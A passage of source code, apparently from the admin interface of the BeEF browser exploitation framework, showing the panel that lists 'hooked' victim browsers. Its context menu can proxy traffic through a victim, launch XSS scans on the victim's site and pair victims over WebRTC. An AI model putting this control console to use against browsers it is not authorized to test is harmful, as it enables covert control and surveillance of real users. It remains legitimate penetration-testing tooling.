(BeEF::Core::Configuration.instance.get(\"beef.extension.xssrays.enable\"))\n    context_menu << {\n      id: 'xssrays_hooked_origin',\n      text: 'Launch XssRays on Hooked Domain',\n      iconCls: 'zombie-tree-ctxMenu-xssrays'\n    }\n    context_menu << sep\n  end\n  if (BeEF::Core::Configuration.instance.get(\"beef.extension.webrtc.enable\"))\n    context_menu << {\n      id: 'rtc_caller',\n      text: 'Set as WebRTC Caller',\n      iconCls: 'zombie-tree-ctxMenu-rtc'\n    }\n    context_menu << {\n      id: 'rtc_receiver',\n      text: 'Set as WebRTC Receiver and GO',\n      iconCls: 'zombie-tree-ctxMenu-rtc',\n      activated: false\n    }\n    context_menu << sep\n  end\n\n  context_menu << {\n    id: 'delete_zombie',\n    text: 'Delete Zombie',\n    iconCls: 'zombie-tree-ctxMenu-delete'\n  }\n\n  context_menu.to_json\n%>,\n\n          listeners: {\n              itemclick: function(item, object) {\n                  var hb_id = this.contextNode.id.split('-')[2];\n                  switch (item.id) {\n                      case 'use_as_proxy':\n                           Ext.Ajax.request({\n                                url: '/api/proxy/setTargetZombie?token=' + beefwui.get_rest_token(),\n                                method: 'POST',\n                                headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                                jsonData: {'hb_id': escape(hb_id)}\n                            });\n                          break;\n                       case 'xssrays_hooked_origin':\n                           Ext.Ajax.request({\n                                url: '/api/xssrays/scan/' + escape(hb_id) + '?token=' + beefwui.get_rest_token(),\n                                method: 'POST'\n                            });\n                          break;\n                       case 'rtc_caller':\n                          beefwui.rtc_caller = hb_id;\n                          break;\n                       case 'rtc_receiver':\n                          beefwui.rtc_receiver = hb_id;\n                          var url = \"/api/webrtc/go?token=\" + beefwui.get_rest_token();\n                          Ext.Ajax.request({\n                              url: url,\n                              method: 'POST',\n                              headers: {'Content-Type': 'application/json; charset=UTF-8'},\n                              jsonData: {\n                                  'from': beefwui.get_hb_id(beefwui.rtc_caller),\n                                  'to': beefwui.get_hb_id(beefwui.rtc_receiver),\n                                  'verbose': true\n                              }\n                          });\n                          break;\n                       case 'delete_zombie':\n\t\t\t                   var token = beefwui.get_rest_token();\n                         if (!confirm('Are you sure you want to delete zombie [id: ' + hb_id + '] ?\\nWarning: this will remove all zombie related data, including logs and command results!')) {\n                           //commands_statusbar.update_fail('Cancelled');\n                           return;\n                         }\n                         //commands_statusbar.update_sending('Removing zombie [id: ' + hb_id + '] ...');\n                         var url = \"/api/hooks/\" + escape(hb_id) + \"/delete?token=\" + token;\n                         Ext.Ajax.request({\n                           url: url,\n                           method: 'GET'\n                         });\n                         break;\n                  }\n              }\n          }\n      }),\n\t\n\tlisteners: {\n\t\t//creates a new hooked browser tab when a hooked browser is clicked\n\t\tclick: function(node, e) {\n            globalnode = node;\n\t\t\tif(!node.leaf) return;\n      window.location.hash = \"#id=\" + node.attributes.session;\n\t\t},\n        //show the context menu when a HB is right-clicked\n        contextmenu: function(node, event){\n                if(!node.leaf) return;\n\n                node.select();\n                // if (typeof(beefwui.rtc_caller) === 'undefined') {\n                //     node.getOwnerTree().contextMenu.items.add({\n                //         id: 'rtc_caller',\n                //         text: 'Set as WebRTC Caller',\n                //         iconCls: 'zombie-tree-ctxMenu-xssrays'\n                //     });\n                // }\n                var c = node.getOwnerTree().contextMenu;\ntry{\n                c.contextNode = node;\n                if (typeof(beefwui.rtc_caller) === 'undefined') {\n                    c.items.get('rtc_receiver').disable();\n                } else if (beefwui.rtc_caller === node.id.substr(-80)) {\n                    c.items.get('rtc_receiver').disable();\n                } else {\n                    c.items.get('rtc_receiver').enable();\n                }\n} catch(e) {\n  // could not render the webrtc context menu - is webrtc extenion disabled?\n}\n                // c.items['rtc_receiver'].disable();\n                // c.add({\n                //     id: 'rtc_caller',\n                //     text: 'Set as WebRTC Caller',\n                //     iconCls: 'zombie-tree-ctxMenu-xssrays'});\n                c.showAt(event.getXY());\n        },\n\t\t//update the set of rules when a checkbox is clicked\n\t\tcheckchange: function(node, checked) {\n\t\t  \n\t\t}\n\t},\n\t\n\t/*\n\t * Updates the configuration of the tree.\n\t * @param: {Literal Object} the new configuration.\n\t */\n\tupdateConfiguration: function(new_configuration) {\n\t\tExt.apply(this.tree_configuration, new_configuration);\n\t},\n\t\n\t/*\n\t * Reloads the tree. This function is useful after you have updated the configuration\n\t * of the tree.\n\t */\n\treload: function() {\n\t\t//deletes all the nodes in the online hooked browser branch\n\t\ttry {this.online_hooked_browsers_treenode.removeAll(true);} catch(e) {};\n\t\t\n\t\t//adds back the hooked browser to the online branch\n\t\tExt.each(this.online_hooked_browsers_array, function(online_hooked_browser) {\n\t\t\tthis.addZombie(online_hooked_browser, online_hooked_browser[\"online\"], online_hooked_browser[\"checkbox\"]);\n\t\t}, this)\n\t\t\n\t\t//expands the online hooked browser branch\n\t\tif(this.online_hooked_browsers_treenode.childNodes.length > 0)\n\t\t\tthis.online_hooked_browsers_treenode.expand(true);\n\t\t\n\t\t//deletes all the nodes in the offline hooked browser branch\n\t\ttry {this.offline_hooked_browsers_treenode.removeAll(true);} catch(e) {};\n\t\t\n\t\t//adds back the hooked browsers to the offline branch\n\t\tExt.each(this.offline_hooked_browsers_array, function(offline_hooked_browser) {\n\t\t\tthis.addZombie(offline_hooked_browser, offline_hooked_browser[\"online\"], offline_hooked_browser[\"checkbox\"]);\n\t\t}, this)\n\t\t\n\t\t//expands the offline hooked browser branch\n\t\tif(this.offline_hooked_browsers_treenode.childNodes.length > 0)\n\t\t\tthis.offline_hooked_browsers_treenode.expand(true);\n\t},\n\t\n\t/*\n\t * Adds a new hooked browser to the tree.\n\t * @param: {Literal Object} the hooked browser object generated by the zombie manager.\n\t * @param: {Boolean} true if the hooked browser is online, false if offline.\n\t * \n\t */\n    addZombie: function(hooked_browser, online, checkbox) {\n\t\tvar hb_id, mother_node, node;\n\n\t\tif(online) {\n\t\t\thb_id = 'zombie-online-' + hooked_browser.session;\n\t\t\tmother_node = this.online_hooked_browsers_treenode;\n\t\t} else {\n\t\t\thb_id = 'zombie-offline-' + hooked_browser.session;\n\t\t\tmother_node = this.offline_hooked_browsers_treenode;\n\t\t}\n\t\tvar exists = this.getNodeById(hb_id);\n\t\tif(exists) return;\n\n\t\t// set zombie icons. this should eventually be replaced with CSS classes\n\t\tvar browser_icon = 'unknown.png';\n\t\tswitch (hooked_browser.browser_name) {\n\t\t\tcase \"FF\":\n\t\t\t\tbrowser_icon = 'firefox.png';\n\t\t\t\tbreak;\n\t\t\tcase \"IE\":\n\t\t\t\tbrowser_icon = 'msie.png';\n\t\t\t\tbreak;\n\t\t\tcase \"E\":\n\t\t\t\tbrowser_icon = 'edge.png';\n\t\t\t\tbreak;\n\t\t\tcase \"EP\":\n\t\t\t\tbrowser_icon = 'epiphany.png';\n\t\t\t\tbreak;\n\t\t\tcase \"S\":\n\t\t\t\tbrowser_icon = 'safari.png';\n\t\t\t\tbreak;\n\t\t\tcase \"C\":\n\t\t\t\tbrowser_icon = 'chrome.png';\n\t\t\t\tbreak;\n\t\t\tcase \"O\":\n\t\t\t\tbrowser_icon = 'opera.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"MI\":\n\t\t\t\tbrowser_icon = 'midori.png';\n\t\t\t\tbreak;\n\t\t\tcase \"OD\":\n\t\t\t\tbrowser_icon = 'odyssey.png';\n\t\t\t\tbreak;\n\t\t\tcase \"BR\":\n\t\t\t\tbrowser_icon = 'brave.png';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbrowser_icon = 'unknown.png';\n\t\t\t\tbreak;\n\t\t}\n\n\t\tvar os_icon = 'unknown.png';\n\t\tswitch (hooked_browser.os_name) {\n\t\t\tcase \"Android\":\n\t\t\t\tos_icon = 'android.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Windows\":\n\t\t\t\tos_icon = 'win.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Linux\":\n\t\t\t\tos_icon = 'linux.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Mac\":\n\t\t\t\tos_icon = 'mac.png';\n\t\t\t\tbreak;\n\t\t\tcase \"QNX\":\n\t\t\t\tos_icon = 'qnx.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"SunOS\":\n\t\t\t\tos_icon = 'sunos.gif';\n\t\t\t\tbreak;\n\t\t\tcase \"BeOS\":\n\t\t\t\tos_icon = 'beos.png';\n\t\t\t\tbreak;\n\t\t\tcase \"OpenBSD\":\n\t\t\t\tos_icon = 'openbsd.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"iOS\":\n\t\t\t\tos_icon = 'ios.png';\n\t\t\t\tbreak;\n\t\t\tcase \"iPhone\":\n\t\t\t\tos_icon = 'iphone.jpg';\n\t\t\t\tbreak;\n\t\t\tcase \"iPad\":\n\t\t\t\tos_icon = 'ipad.png';\n\t\t\t\tbreak;\n\t\t\tcase \"iPod\":\n\t\t\t\tos_icon = 'ipod.jpg';\n\t\t\t\tbreak;\n\t\t\tcase \"webOS\":\n\t\t\t\tos_icon = 'webos.png';\n\t\t\t\tbreak;\n\t\t\tcase \"AROS\":\n\t\t\t\tos_icon = 'icaros.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Maemo\":\n\t\t\t\tos_icon = 'maemo.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"BlackBerry\":\n\t\t\t\tos_icon = 'blackberry.png';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tos_icon = 'unknown.png';\n\t\t\t\tbreak;\n\t\t}\n\n\t\tvar hw_icon = 'unknown.png';\n\t\tswitch (hooked_browser.hw_name) {\n\t\t\tcase \"Virtual Machine\":\n\t\t\t\thw_icon = 'vm.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Laptop\":\n\t\t\t\thw_icon = 'laptop.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Android\":\n\t\t\t\thw_icon = 'android.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Android Phone\":\n\t\t\t\thw_icon = 'android.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Android Tablet\":\n\t\t\t\thw_icon = 'android.png';\n\t\t\t\tbreak;\n\t\t\tcase \"iPhone\":\n\t\t\t\thw_icon = 'iphone.jpg';\n\t\t\t\tbreak;\n\t\t\tcase \"iPod Touch\":\n\t\t\t\thw_icon = 'ipod.jpg';\n\t\t\t\tbreak;\n\t\t\tcase \"iPad\":\n\t\t\t\thw_icon = 'ipad.png';\n\t\t\t\tbreak;\n\t\t\tcase \"BlackBerry\":\n\t\t\t\thw_icon = 'blackberry.png';\n\t\t\t\tbreak;\n\t\t\tcase \"BlackBerry Tablet\":\n\t\t\t\thw_icon = 'blackberry.png';\n\t\t\t\tbreak;\n\t\t\tcase \"BlackBerry Touch\":\n\t\t\t\thw_icon = 'blackberry.png';\n\t\t\t\tbreak;\n\t\t\tcase \"BlackBerry OS 5\":\n\t\t\t\thw_icon = 'blackberry.png';\n\t\t\t\tbreak;\n\t\t\tcase \"BlackBerry OS 6\":\n\t\t\t\thw_icon = 'blackberry.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Nokia\":\n\t\t\t\thw_icon = 'nokia.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Nokia S60 Open Source\":\n\t\t\t\thw_icon = 'nokia.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Nokia S60\":\n\t\t\t\thw_icon = 'nokia.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Nokia S70\":\n\t\t\t\thw_icon = 'nokia.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Nokia S80\":\n\t\t\t\thw_icon = 'nokia.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Nokia S90\":\n\t\t\t\thw_icon = 'nokia.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Nokia Symbian\":\n\t\t\t\thw_icon = 'nokia.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Maemo Tablet\":\n\t\t\t\thw_icon = 'maemo.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"HTC\":\n\t\t\t\thw_icon = 'htc.ico';\n\t\t\t\tbreak;\n\t\t\tcase \"Motorola\":\n\t\t\t\thw_icon = 'motorola.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Zune\":\n\t\t\t\thw_icon = 'zune.gif';\n\t\t\t\tbreak;\n\t\t\tcase \"Kindle\":\n\t\t\t\thw_icon = 'kindle.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Kindle Fire\":\n\t\t\t\thw_icon = 'kindle.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Nexus\":\n\t\t\t\thw_icon = 'nexus.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Google Nexus One\":\n\t\t\t\thw_icon = 'nexus.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Ericsson\":\n\t\t\t\thw_icon = 'sony_ericsson.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Windows Phone\":\n\t\t\t\thw_icon = 'win.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Windows Phone 7\":\n\t\t\t\thw_icon = 'win.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Windows Phone 8\":\n\t\t\t\thw_icon = 'win.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Windows Phone 10\":\n\t\t\t\thw_icon = 'win.png';\n\t\t\t\tbreak;\n\t\t\tcase \"Windows Mobile\":\n\t\t\t\thw_icon = 'win.png';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\thw_icon = 'pc.png';\n\t\t\t\tbreak;\n\t\t}\n\n\t\t// set zombie hover balloon text for tree node\n\t\t// Use Ext.util.Format.htmlEncode() to prevent XSS via malicious browser properties\n\t\tvar encode = Ext.util.Format.htmlEncode;\n\t\tvar balloon_text = \"\";\n\t\tballoon_text += encode(hooked_browser.ip);\n\t\tballoon_text += \"<hr/>\"\n\t\tballoon_text += \"<img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/favicon.png' /> \";\n\t\tballoon_text += \"Origin: \" + encode(hooked_browser.domain) + \":\" + encode(hooked_browser.port);\n\t\tballoon_text += \"<br/>\";\n\t\tballoon_text += \"<img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/\" + escape(browser_icon) + \"' /> \";\n\t\tballoon_text += \"Browser: \" + encode(hooked_browser.browser_name) + \" \" + encode(hooked_browser.browser_version);\n\t\tballoon_text += \"<br/>\";\n\t\tballoon_text += \" <img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/\" + escape(os_icon) + \"' /> \";\n\t\tif (hooked_browser.os_version == 'Unknown') {\n\t\t  balloon_text += \"OS: \" + encode(hooked_browser.os_name);\n\t\t} else {\n\t\t  balloon_text += \"OS: \" + encode(hooked_browser.os_name) + ' ' + encode(hooked_browser.os_version);\n\t\t}\n\t\tballoon_text += \"<br/>\";\n\t\tballoon_text += \" <img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/\" + escape(hw_icon) + \"' /> \";\n\t\tballoon_text += \"Hardware: \" + encode(hooked_browser.hw_name);\n\t\tballoon_text += \"<br/>\";\n\n\t\tif ( !hooked_browser.country || !hooked_browser.country_code || hooked_browser.country == 'Unknown' ) {\n\t\t\tballoon_text += \" <img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/unknown.png' /> \";\n\t\t\tballoon_text += \"Location: Unknown\";\n\t\t} else {\n\t\t\tballoon_text += \" <img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/country-squared/\" + escape(hooked_browser.country_code.toLowerCase()) + \".svg' /> \";\n\t\t\tballoon_text += \"Location: \" + encode(hooked_browser.city) + \", \" + encode(hooked_browser.country);\n\t\t}\n\n\t\tballoon_text += \"<hr/>\";\n\t\tballoon_text += \"Local Date: \" + encode(hooked_browser.date);\n\t\thooked_browser.qtip = balloon_text;\n\n\t\t// set zombie text label for tree node\n\t\tvar text = \"\";\n\t\ttext += \"<img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/\" + escape(browser_icon) + \"' /> \";\n\t\ttext += \"<img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/\" + escape(os_icon) + \"' /> \";\n\t\ttext += \"<img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/\" + escape(hw_icon) + \"' /> \";\n\n\t\tif ( !hooked_browser.country || !hooked_browser.country_code || hooked_browser.country == 'Unknown' ) {\n\t\t\ttext += \"<img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/unknown.png' /> \";\n\t\t} else {\n\t\t\ttext += \"<img width='13px' height='13px' class='zombie-tree-icon' src='<%= @base_path %>/media/images/icons/country-squared/\" + escape(hooked_browser.country_code.toLowerCase()) + \".svg' /> \";\n\t\t}\n\n\t\ttext += encode(hooked_browser.ip);\n\t\thooked_browser.text = text;\n\n\t\t//save a new online HB\n\t\tif(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) {\n\t\t\tif (<%= BeEF::Core::Configuration.instance.get(\"beef.extension.admin_ui.play_sound_on_new_zombie\") %>) {\n\t\t\t\ttry {\n\t\t\t\t\tvar sound = new Audio('<%= @base_path %>/media/audio/new_zombie.mp3');\n\t\t\t\t\tsound.play();\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t\tthis.online_hooked_browsers_array.push(hooked_browser);\n\t\t}\n\t\t\n\t\t//save a new offline HB\n\t\tif(!online && this.offline_hooked_browsers_array.indexOf(hooked_browser)==-1) {\n\t\t\tthis.offline_hooked_browsers_array.push(hooked_browser);\n\t\t}\n\t\t\n\t\t//apply CSS styles and configuring the hooked browser for the tree\n        Ext.apply(hooked_browser, {\n            iconCls: 'feed-icon',\n            leaf:true,\n            id: hb_id,\n\t\t\tchecked: ((checkbox) ? false : null),\n\t\t\tonline: online,\n\t\t\tcheckbox: checkbox\n        });\n        \n\t\t//creates a new node for that hooked browser\n\t\tnode = new Ext.tree.TreeNode(hooked_browser);\n\n\t\t//creates a sub-branch for that HB if necessary\n\t\tmother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox);\n\t\t\n\t\tif(online) {\n\t\t\t//add the hooked browser to the online branch\n\t\t\tExt.apply(hooked_browser, {cls: 'zombie-online'});\n\t\t\tmother_node.appendChild(node);\n\t\t} else {\n\t\t\t//add the hooked browser to the offline branch\n\t\t\tExt.apply(hooked_browser, {cls: 'zombie-offline'});\n\t\t\tmother_node.appendChild(node);\n\t\t}\n\t\t\n        return node;\n    },\n\n\t/*\n\t * Adds a sub-branch or sub-folder to the tree.\n\t * @param: {Ext.tree.TreeNode} the mother node.\n\t * @param: {String} the name of the new sub branch.\n\t * @param: {Boolean} true if the sub-branch should have a checkbox; false if not.\n\t */\n\taddSubFolder: function(mother_node, folder, checkbox) {\n\t\tif(!folder) return mother_node;\n\t\t\n\t\tif(mother_node.hasChildNodes()) {\n\t\t\tfor(i in mother_node.childNodes) {\n\t\t\t\tnode = mother_node.childNodes[i];\n\t\t\t\t\n\t\t\t\tif(typeof node == 'object' && node.attributes.text == folder)\n\t\t\t\t\treturn node;\n\t\t\t}\n\t\t} else {\n\t\t\tsub_folder_node = new Ext.tree.TreeNode({\n\t\t\t\tid: 'sub-folder-'+folder,\n\t\t\t\ttext: folder,\n\t\t\t\tqtip: \"Browsers hooked on \"+folder,\n\t\t\t\tchecked: ((checkbox) ? false : null),\n\t\t\t\ttype: this.tree_configuration[\"sub-branch\"]\n\t\t\t\t});\n\t\t\t\n\t\t\tmother_node.appendChild(sub_folder_node);\n\t\t\tmother_node = sub_folder_node;\n\t\t}\n\t\t\n\t\treturn mother_node;\n\t},\n\t\n\t/*\n\t * Remove any duplicated hooked browsers in branches.\n\t * @param: {Literal Object} object containing the list of hooked browsers.\n\t */\n\tcompareAndRemove: function(zombies) {\n\t\t\n\t\tvar arr = ['online', 'offline'];\n\t\tvar has_changed = false;\n\t\t\n\t\tExt.each(arr, function(branch_type) {\n\t\t\tvar new_set_zombies = zombies[branch_type];\n\t\t\tvar new_set_zombies_array = new Array;\n\t\t\t\n\t\t\t//converts the new set of zombies to an array\n\t\t\tExt.iterate(new_set_zombies, function(key, hooked_browser) { new_set_zombies_array.push(hooked_browser); });\n\t\t\t\n\t\t\t//retrieves all the new hooked browsers' session id\n\t\t\tvar new_set_zombies_sessions = Ext.pluck(new_set_zombies_array, 'session');\n\t\t\tif(!new_set_zombies_sessions) return;\n\t\t\t\n\t\t\t//retrieves the branch that will be updated\n\t\t\tvar branch_node = eval('this.'+branch_type+'_hooked_browsers_treenode');\n\t\t\t\n\t\t\t//retrieves the list of known hooked browsers in that branch\n\t\t\tvar hooked_browser_array = eval('this.'+branch_type+'_hooked_browsers_array');\n\t\t\tif(hooked_browser_array.length == 0) return;\n\t\t\t\n\t\t\t//we compare the list of known HBs to the new set of HBs retrieved. If a HB is missing\n\t\t\t//we delete it from the tree.\n\t\t\tExt.iterate(hooked_browser_array, function(known_hooked_browser, key) {\n\t\t\t\tif(!known_hooked_browser) return;\n\t\t\t\t\n\t\t\t\tvar hb_session = known_hooked_browser[\"session\"];\n\t\t\t\t\n\t\t\t\tif(new_set_zombies_sessions.indexOf(hb_session)==-1) {\n\t\t\t\t\tvar node = this.getNodeById('zombie-'+branch_type+'-'+hb_session);\n\t\t\t\t\tif(node) {\n\t\t\t\t\t\t//remove the node from the tree\n\t\t\t\t\t\tbranch_node.removeChild(node);\n\n                        var parentNode = node.parentNode;\n                        // remove the node parent sub-folder only if there are not any other HBs as child of it\n                        // (basically, zombies that comes from the same IP)\n                        if(parentNode.childNodes.length <= 1){\n                            branch_node.removeChild(parentNode);\n                        }\n\n\t\t\t\t\t\t//because ExtJs has a bug with node.destroy() this is a hack to make it work for beef.\n\t\t\t\t\t\tnode.setId(\"hooked-browser-node-destroyed\");\n\t\t\t\t\t\t\n\t\t\t\t\t\t//update the array of hooked browser\n\t\t\t\t\t\thooked_browser_array = hooked_browser_array.slice(key, key+1);\n\t\t\t\t\t\teval('this.'+branch_type+'_hooked_browsers_array = hooked_browser_array');\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// if a HB is in both the node list and the new list - check its ip is still correct - and if not update it\n\t\t\t\tif(new_set_zombies_sessions.indexOf(hb_session)!=-1) {\n\t\t\t\t\tExt.iterate(new_set_zombies, function(key, new_zombie) {\n\t\t\t\t\t\tif (new_zombie.session == known_hooked_browser.session && new_zombie.ip != known_hooked_browser.ip) {\n\t\t\t\t\t\t\tknown_hooked_browser.ip = new_zombie.ip;\n\t\t\t\t\t\t\tknown_hooked_browser.domain = new_zombie.ip;\n                            known_hooked_browser.port=new_zombie.port;\n\t\t\t\t\t\t\tknown_hooked_browser.text = known_hooked_browser.text.replace(/\\d*\\.\\d*\\.\\d*\\.\\d*/gi, new_zombie.ip);\n\t\t\t\t\t\t\thas_changed = true;\n\t\t\t\t\t\t}\n\t                });\n\t\t\t\t}\n\t\t\t}, this);\n\t\t}, this);\n\t\t\n\t\t// if an ip change was made - reload the try to show the change\n\t    if (has_changed) {\n\t\t\tthis.reload();\n\t\t}\n\t},\n});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ux/PagingStore.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * PagingStore for Ext 3.2 - v0.5\n */\nExt.ns('Ext.ux.data');\nExt.ux.data.PagingStore = Ext.extend(Ext.data.Store, {\n    add: function (records) {\n        records = [].concat(records);\n        if (records.length < 1) {\n            return;\n        }\n        for (var i = 0, len = records.length; i < len; i++) {\n            records[i].join(this);\n        }\n        var index = this.data.length;\n        this.data.addAll(records);\n        // *** add ***\n        if (this.allData) {\n            this.allData.addAll(records);\n        }\n        // *** end ***\n        if (this.snapshot) {\n            this.snapshot.addAll(records);\n        }\n        // *** add ***\n        this.totalLength += records.length;\n        // *** end ***\n        this.fireEvent('add', this, records, index);\n    },\n    remove: function (record) {\n        if (Ext.isArray(record)) {\n            Ext.each(record, function (r) {\n                this.remove(r);\n            }, this);\n            return;\n        }\n        // *** add ***\n        if (this != record.store) {\n            return;\n        }\n        record.join(null);\n        // *** end ***\n        var index = this.data.indexOf(record);\n        if (index > -1) {\n            // record.join(null);\n            this.data.removeAt(index);\n        }\n        if (this.pruneModifiedRecords) {\n            this.modified.remove(record);\n        }\n        // *** add ***\n        if (this.allData) {\n            this.allData.remove(record);\n        }\n        // *** end ***\n        if (this.snapshot) {\n            this.snapshot.remove(record);\n        }\n        // *** add ***\n        this.totalLength--;\n        // *** end ***\n        if (index > -1) {\n            this.fireEvent('remove', this, record, index);\n        }\n    },\n    removeAll: function (silent) {\n        // *** add ***\n        var items = [].concat((this.snapshot || this.allData || this.data).items);\n        // *** end ***\n        // var items = [];\n        // this.each(function (rec) {\n        //     items.push(rec);\n        // });\n        this.clearData();\n        // if (this.snapshot) {\n        //     this.snapshot.clear();\n        // }\n        if (this.pruneModifiedRecords) {\n            this.modified = [];\n        }\n        // *** add ***\n        this.totalLength = 0;\n        // *** end ***\n        if (silent !== true) {\n            this.fireEvent('clear', this, items);\n        }\n    },\n    insert: function (index, records) {\n        records = [].concat(records);\n        for (var i = 0, len = records.length; i < len; i++) {\n            this.data.insert(index, records[i]);\n            records[i].join(this);\n        }\n        // *** add ***\n        if (this.allData) {\n            this.allData.addAll(records);\n        }\n        // *** end ***\n        if (this.snapshot) {\n            this.snapshot.addAll(records);\n        }\n        // *** add ***\n        this.totalLength += records.length;\n        // *** end ***\n        this.fireEvent('add', this, records, index);\n    },\n    getById: function (id) {\n        // *** add ***\n        return (this.snapshot || this.allData || this.data).key(id);\n        // *** end ***\n        // return this.data.key(id);\n    },\n    clearData: function () {\n        // *** add ***\n        if (this.allData) {\n            this.data = this.allData;\n            delete this.allData;\n        }\n        if (this.snapshot) {\n            this.data = this.snapshot;\n            delete this.snapshot;\n        }\n        // *** end ***\n        this.data.each(function (rec) {\n            rec.join(null);\n        });\n        this.data.clear();\n    },\n    execute: function (action, rs, options, batch) {\n        if (!Ext.data.Api.isAction(action)) {\n            throw new Ext.data.Api.Error('execute', action);\n        }\n        options = Ext.applyIf(options || {}, {\n            params: {}\n        });\n        if (batch !== undefined) {\n            this.addToBatch(batch);\n        }\n        var doRequest = true;\n        if (action === 'read') {\n            doRequest = this.fireEvent('beforeload', this, options);\n            Ext.applyIf(options.params, this.baseParams);\n        }\n        else {\n            if (this.writer.listful === true && this.restful !== true) {\n                rs = (Ext.isArray(rs)) ? rs : [rs];\n            }\n            else if (Ext.isArray(rs) && rs.length == 1) {\n                rs = rs.shift();\n            }\n            if ((doRequest = this.fireEvent('beforewrite', this, action, rs, options)) !== false) {\n                this.writer.apply(options.params, this.baseParams, action, rs);\n            }\n        }\n        if (doRequest !== false) {\n            if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, action)) {\n                options.params.xaction = action;\n            }\n            // *** add ***\n            if (action === \"read\" && this.isPaging(Ext.apply({}, options.params))) {\n                (function () {\n                    if (this.allData) {\n                        this.data = this.allData;\n                        delete this.allData;\n                    }\n                    this.applyPaging();\n                    this.fireEvent(\"datachanged\", this);\n                    var r = [].concat(this.data.items);\n                    this.fireEvent(\"load\", this, r, options);\n                    if (options.callback) {\n                        options.callback.call(options.scope || this, r, options, true);\n                    }\n                }).defer(1, this);\n                return true;\n            }\n            // *** end ***\n            this.proxy.request(Ext.data.Api.actions[action], rs, options.params, this.reader, this.createCallback(action, rs, batch), this, options);\n        }\n        return doRequest;\n    },\n    loadRecords: function (o, options, success) {\n        if (this.isDestroyed === true) {\n            return;\n        }\n        if (!o || success === false) {\n            if (success !== false) {\n                this.fireEvent('load', this, [], options);\n            }\n            if (options.callback) {\n                options.callback.call(options.scope || this, [], options, false, o);\n            }\n            return;\n        }\n        var r = o.records,\n            t = o.totalRecords || r.length;\n        if (!options || options.add !== true) {\n            if (this.pruneModifiedRecords) {\n                this.modified = [];\n            }\n            for (var i = 0, len = r.length; i < len; i++) {\n                r[i].join(this);\n            }\n            //if (this.snapshot) {\n            //    this.data = this.snapshot;\n            //    delete this.snapshot;\n            //}\n            this.clearData();\n            this.data.addAll(r);\n            this.totalLength = t;\n            this.applySort();\n            // *** add ***\n            if (!this.allData) {\n                this.applyPaging();\n            }\n            if (r.length > this.getCount()) {\n                r = [].concat(this.data.items);\n            }\n            // *** end ***\n            this.fireEvent('datachanged', this);\n        } else {\n            this.totalLength = Math.max(t, this.data.length + r.length);\n            this.add(r);\n        }\n        this.fireEvent('load', this, r, options);\n        if (options.callback) {\n            options.callback.call(options.scope || this, r, options, true);\n        }\n    },\n    loadData: function (o, append) {\n        // *** add ***\n        this.isPaging(Ext.apply({}, this.lastOptions ? this.lastOptions.params : null, this.baseParams));\n        // *** end ***\n        var r = this.reader.readRecords(o);\n        this.loadRecords(r, {\n            add: append\n        }, true);\n    },\n    getTotalCount: function () {\n        // *** add ***\n        if (this.allData) {\n            return this.allData.getCount();\n        }\n        // *** end ***\n        return this.totalLength || 0;\n    },\n    sortData: function () {\n        var sortInfo = this.hasMultiSort ? this.multiSortInfo : this.sortInfo,\n            direction = sortInfo.direction || \"ASC\",\n            sorters = sortInfo.sorters,\n            sortFns = [];\n        if (!this.hasMultiSort) {\n            sorters = [{\n                direction: direction,\n                field: sortInfo.field\n            }];\n        }\n        for (var i = 0, j = sorters.length; i < j; i++) {\n            sortFns.push(this.createSortFunction(sorters[i].field, 